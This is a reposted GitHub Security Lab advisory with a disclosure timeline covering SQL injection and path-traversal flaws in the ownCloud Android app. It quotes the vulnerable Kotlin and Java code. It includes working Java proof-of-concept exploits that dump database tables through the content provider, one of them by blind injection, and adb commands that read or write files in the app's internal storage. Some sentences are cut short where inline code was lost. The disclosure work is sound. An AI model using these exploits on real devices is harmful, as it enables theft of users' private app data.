Original text by GitHub Security Lab
Coordinated Disclosure Timeline
- 2022-07-26: Issues notified to ownCloud through HackerOne.
- 2022-08-01: Report receipt acknowledged.
- 2022-09-07: We request a status update for GHSL-2022-059.
- 2022-09-08: ownCloud says that they are still working on the fix for GHSL-2022-059.
- 2022-10-26: We request a status update for GHSL-2022-060.
- 2022-10-27: ownCloud says that they are still working on the fix for GHSL-2022-060.
- 2022-11-28: We request another status update for GHSL-2022-059.
- 2022-11-28: ownCloud says that the fix for GHSL-2022-059 will be published in the next release.
- 2022-12-12: Version 3.0 is published.
- 2022-12-20: We verify that version 3.0 fixed GHSL-2022-060.
- 2022-12-20: We verify that the fix for GHSL-2022-059 was not included in the release. We ask ownCloud about it.
- 2023-01-31: ownCloud informs us that in 3.0 the filelist database was deprecated (empty, only used for migrations from older versions) and planned to be removed in a future version.
- 2023-01-31: We answer that, while that would mitigate one of the reported injections, the other one affects the
database, which remains relevant.owncloud_database
- 2023-02-2: Publishing advisories as per our disclosure policy.
Summary
The Owncloud Android app uses content providers to manage its data. The provider
The app also handles externally-provided files in the activity
Product
Owncloud Android app
Tested Version
Details
Issue 1: SQL injection in
FileContentProvider.kt
(
GHSL-2022-059
)
The
<provider android:name=".providers.FileContentProvider" android:authorities="@string/authority" android:enabled="true" android:exported="true" android:label="@string/sync_string_files" android:syncable="true" />
All tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several user-controller parameters end up reaching an unsafe SQL method that allows for SQL injection.
The
delete
method
User input enters the content provider through the three parameters of this method:
override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {
The
private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int { // --snip-- when (uriMatcher.match(uri)) { SINGLE_FILE -> { // --snip-- count = db.delete( ProviderTableMeta.FILE_TABLE_NAME, ProviderTableMeta._ID + "=" + uri.pathSegments[1] + if (!TextUtils.isEmpty(where)) " AND ($where)" // injection else "", whereArgs ) } DIRECTORY -> { // --snip-- count += db.delete( ProviderTableMeta.FILE_TABLE_NAME, ProviderTableMeta._ID + "=" + uri.pathSegments[1] + if (!TextUtils.isEmpty(where)) " AND ($where)" // injection else "", whereArgs ) } ROOT_DIRECTORY -> count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection SHARES -> count = OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1]) CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection // --snip-- } // --snip-- }
The
insert
method
User input enters the content provider through the two parameters of this method:
override fun insert(uri: Uri, values: ContentValues?): Uri? {
The
private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri { when (uriMatcher.match(uri)) { ROOT_DIRECTORY, SINGLE_FILE -> { // --snip-- return if (!doubleCheck.moveToFirst()) { // --snip-- val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection // --snip-- } // --snip-- } // --snip-- CAPABILITIES -> { val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection // --snip-- } UPLOADS -> { val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection // --snip-- } CAMERA_UPLOADS_SYNC -> { val cameraUploadId = db.insert( ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null, values // injection ) // --snip-- } QUOTAS -> { val quotaId = db.insert( ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null, values // injection ) // --snip-- } // --snip-- } }
The
query
method
User input enters the content provider through the five parameters of this method:
override fun query( uri: Uri, projection: Array<String>?, selection: String?, selectionArgs: Array<String>?, sortOrder: String? ): Cursor {
The
SHARES -> { val supportSqlQuery = SupportSQLiteQueryBuilder .builder(ProviderTableMeta.OCSHARES_TABLE_NAME) .columns(computeProjection(projection)) .selection(selection, selectionArgs) // injection .orderBy( if (TextUtils.isEmpty(sortOrder)) { sortOrder // injection } else { ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER } ).create() // To use full SQL queries within Room val newDb: SupportSQLiteDatabase = OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase return newDb.query(supportSqlQuery) }
val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)
The
update
method
User input enters the content provider through the four parameters of this method:
override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {
The
private fun update( db: SQLiteDatabase, uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>? ): Int { if (selection != null && selectionArgs == null) { throw IllegalArgumentException("Selection not allowed, use parameterized queries") } when (uriMatcher.match(uri)) { DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]); SHARES -> return values?.let { OwncloudDatabase.getDatabase(context!!).shareDao() .update(OCShareEntity.fromContentValues(it)).toInt() } ?: 0 CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection UPLOADS -> { val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection trimSuccessfulUploads(db) return ret } CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection else -> return db.update( ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection ) } }
Impact
There are two databases affected by this vulnerability:
Since the tables in
Regarding the tables in
In both cases, the impact is information disclosure. Take into account that the tables exposed in the content provider (most of them) are arbitrarily modifiable by third party apps already, since the
Resources
SQL injection in
filelist
The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the
package com.example.test; import android.content.ContentValues; import android.content.Context; import android.database.Cursor; import android.net.Uri; import android.util.Log; public class OwncloudProviderExploit { public static String exploit(Context ctx, String columnName, String tableName) throws Exception { Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile()); ContentValues updateValues = new ContentValues(); updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " + "FROM " + tableName + ") " + "WHERE _id=" + result.getLastPathSegment() + "-- -", "a"); Log.e("test", "" + ctx.getContentResolver().update( result, updateValues, null, null)); String query = query(ctx, new String[]{"path"}, "_id=?", new String[]{result.getLastPathSegment()}); deleteFile(ctx, result.getLastPathSegment()); return query; } public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception { try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"), projection, selection, selectionArgs, null)) { if (mCursor == null) { Log.e("evil", "mCursor is null"); return "0"; } StringBuilder output = new StringBuilder(); while (mCursor.moveToNext()) { for (int i = 0; i < mCursor.getColumnCount(); i++) { String column = mCursor.getColumnName(i); String value = mCursor.getString(i); output.append("|").append(column).append(":").append(value); } output.append("\n"); } return output.toString(); } } private static ContentValues newOwncloudFile() throws Exception { ContentValues values = new ContentValues(); values.put("parent", "a"); values.put("filename", "a"); values.put("created", "a"); values.put("modified", "a"); values.put("modified_at_last_sync_for_data", "a"); values.put("content_length", "a"); values.put("content_type", "a"); values.put("media_path", "a"); values.put("path", "a"); values.put("file_owner", "a"); values.put("last_sync_date", "a"); values.put("last_sync_date_for_data", "a"); values.put("etag", "a"); values.put("share_by_link", "a"); values.put("shared_via_users", "a"); values.put("permissions", "a"); values.put("remote_id", "a"); values.put("update_thumbnail", "a"); values.put("is_downloading", "a"); values.put("etag_in_conflict", "a"); return values; } public static String deleteFile(Context ctx, String id) throws Exception { ctx.getContentResolver().delete( Uri.parse("content://org.owncloud/file/" + id), null, null ); return "1"; } }
By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to:
- Create a new file entry in
.FileContentProvider
- Exploit the SQL Injection in the
method to set theupdateof the recently created file to the values ofpathin the tablecolumnName.tableName
- Query the
of the modified file entry to obtain the desired values.path
- Delete the file entry.
For instance,
Blind SQL injection in
owncloud_database
The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the
package com.example.test; import android.content.Context; import android.database.Cursor; import android.net.Uri; import android.util.Log; public class OwncloudProviderExploit { public static String blindExploit(Context ctx) { String output = ""; String chars = "abcdefghijklmopqrstuvwxyz0123456789"; while (true) { int outputLength = output.length(); for (int i = 0; i < chars.length(); i++) { char candidate = chars.charAt(i); String attempt = String.format("%s%c%s", output, candidate, "%"); try (Cursor mCursor = ctx.getContentResolver().query( Uri.parse("content://org.owncloud/shares"), null, "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'", new String[]{"a"}, null)) { if (mCursor == null) { Log.e("ProviderHelper", "mCursor is null"); return "0"; } if (mCursor.getCount() > 0) { output += candidate; Log.i("evil", output); break; } } } if (output.length() == outputLength) break; } return output; } }
Issue 2: Insufficient path validation in
ReceiveExternalFilesActivity.java
(
GHSL-2022-060
)
Access to arbitrary files in the app’s internal storage fix bypass
private void prepareStreamsToUpload() { // --snip-- for (Uri stream : mStreamsToUpload) { String streamToUpload = stream.toString(); if (streamToUpload.contains("/data") && streamToUpload.contains(getPackageName()) && !streamToUpload.contains(getCacheDir().getPath()) ) { finish(); } } }
This protection can be bypassed in two ways:
- Using the path returned by
in the payload, e.g.getCacheDir()."file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml"
- Using a content provider URI that uses the
provider to access the app’s internalorg.owncloud.filesfolder, e.g.file."content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
With those payloads, the original issue can be still exploited with the same impact.
Write of arbitrary
.txt
files in the app’s internal storage
Additionally, there’s another insufficient path validation when uploading a plain text file that allows to write arbitrary files in the app’s internal storage.
When uploading a plain text file, the following code is executed, using the user-provided text at
private void showUploadTextDialog() { // --snip-- final TextInputEditText input = dialogView.findViewById(R.id.inputFileName); // --snip-- setFileNameFromIntent(alertDialog, input); alertDialog.setOnShowListener(dialog -> { Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE); button.setOnClickListener(view -> { // --snip-- } else { fileName += ".txt"; Uri fileUri = savePlainTextToFile(fileName); mStreamsToUpload.clear(); mStreamsToUpload.add(fileUri); uploadFiles(); } inputLayout.setErrorEnabled(error != null); inputLayout.setError(error); }); }); alertDialog.show(); }
By reviewing
private Uri savePlainTextToFile(String fileName) { Uri uri = null; String content = getIntent().getStringExtra(Intent.EXTRA_TEXT); try { File tmpFile = new File(getCacheDir(), fileName); // here FileOutputStream outputStream = new FileOutputStream(tmpFile); outputStream.write(content.getBytes()); outputStream.close(); uri = Uri.fromFile(tmpFile); } catch (IOException e) { Timber.w(e, "Failed to create temp file for uploading plain text: %s", e.getMessage()); } return uri; }
An attacker can exploit this using a path traversal attack to write arbitrary text files into the app’s internal storage or other restricted directories accessible by it. The only restriction is that the file will always have the
Impact
These issues may lead to information disclosure when uploading the app’s internal files, and to arbitrary file write when uploading plain text files (although limited by the
Resources
The following PoC demonstrates how to upload arbitrary files from the app’s internal storage:
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"
The following PoC demonstrates how to upload arbitrary files from the app’s internal
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
The following PoC demonstrates how to write an arbitrary
adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"
Credit
These issues were discovered and reported by the CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at